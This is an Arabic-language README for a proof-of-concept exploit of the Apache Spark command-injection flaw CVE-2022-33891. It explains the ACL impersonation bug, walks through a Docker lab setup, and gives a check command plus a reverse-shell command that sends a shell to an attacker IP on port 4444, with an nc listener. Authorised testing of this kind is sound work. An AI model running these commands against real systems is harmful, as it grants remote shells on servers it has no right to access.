
استغلال إثبات مفهوم لحقن أوامر Apache Spark (CVE-2022-33891) مع أوضاع الفحص والشل العكسية، مما يتيح اختبار الأمان المصرح به.
⚠️ لأغراض تعليمية وبحوث أمنية مصرح بها فقط
شكر كبير لمؤلف PoC الأصلي AkbarTrilaksana
توفر واجهة مستخدم Apache Spark إمكانية تفعيل قوائم التحكم بالوصول (ACLs) عبر خيار الإعداد spark.acls.enable. مع وجود مرشح مصادقة (authentication filter)، يتحقق هذا الخيار مما إذا كان المستخدم يملك أذونات وصول لعرض التطبيق أو تعديله. إذا تم تفعيل الـ ACLs، فإن مسارًا برمجيًا في HttpSecurityFilter يمكن أن يسمح لشخص ما بانتحال الشخصية عبر تقديم اسم مستخدم عشوائي. عندها قد يتمكن مستخدم خبيث من الوصول إلى دالة فحص الأذونات التي ستبني في النهاية أمرًا لصدفة Unix استنادًا إلى مدخلاته، ثم تنفيذه. يؤدي هذا إلى تنفيذ أوامر عشوائية في الصدفة بصلاحية المستخدم الذي تعمل به Spark حاليًا. تؤثر هذه الثغرة على إصدارات Apache Spark 3.0.3 والإصدارات الأقدم، والإصدارات من 3.1.1 إلى 3.1.2، والإصدارات من 3.2.0 إلى 3.2.1.
أولاً، استنسخ المستودع
git clone https://github.com/asepsaepdin/CVE-2022-33891.git
انتقل إلى الدليل
cd CVE-2022-33891
ثبّت التبعيات:
pip3 install -r requirements.txt --break-system-packages
اترك الحاوية تبدأ التشغيل
docker compose up
في طرفية جديدة، نفّذ الأمر
docker exec -it CVE-2022-33891-spark-1 /bin/bash
داخل جلسة bash الخاصة بالحاوية، أدخل:
echo "spark.acls.enable true" >> conf/spark-defaults.conf
اختياريًا، استخدم cat لعرض محتويات spark-defaults.conf للتأكد من أنها تبدو صحيحة.
اخرج من جلسة bash التفاعلية ثم اضغط Ctl-C لإنهاء عملية docker-compose.
بمجرد توقف الحاويات بشكل آمن، أعد تنفيذ docker-compose up
docker compose up
تحقق مما إذا كان الهدف عرضة للثغرة:
python3 poc.py -u http://localhost -p 8080 --check
من منظور المهاجم، يُعد تنفيذ الأوامر عن بُعد أمرًا بالغ الأهمية للوصول إلى صدفة تفاعلية. لذا، فإن تنفيذ الأمر التالي سيؤدي إلى تشغيل قشرة عكسية (reverse shell) عبر telnet و tcp مبنية على bash إلى نظام المهاجم على المنفذ 4444/tcp:
python3 poc.py -u http://localhost -p 8080 --revshell -lh 172.16.10.24 -lp 4444
nc -nlvp 4444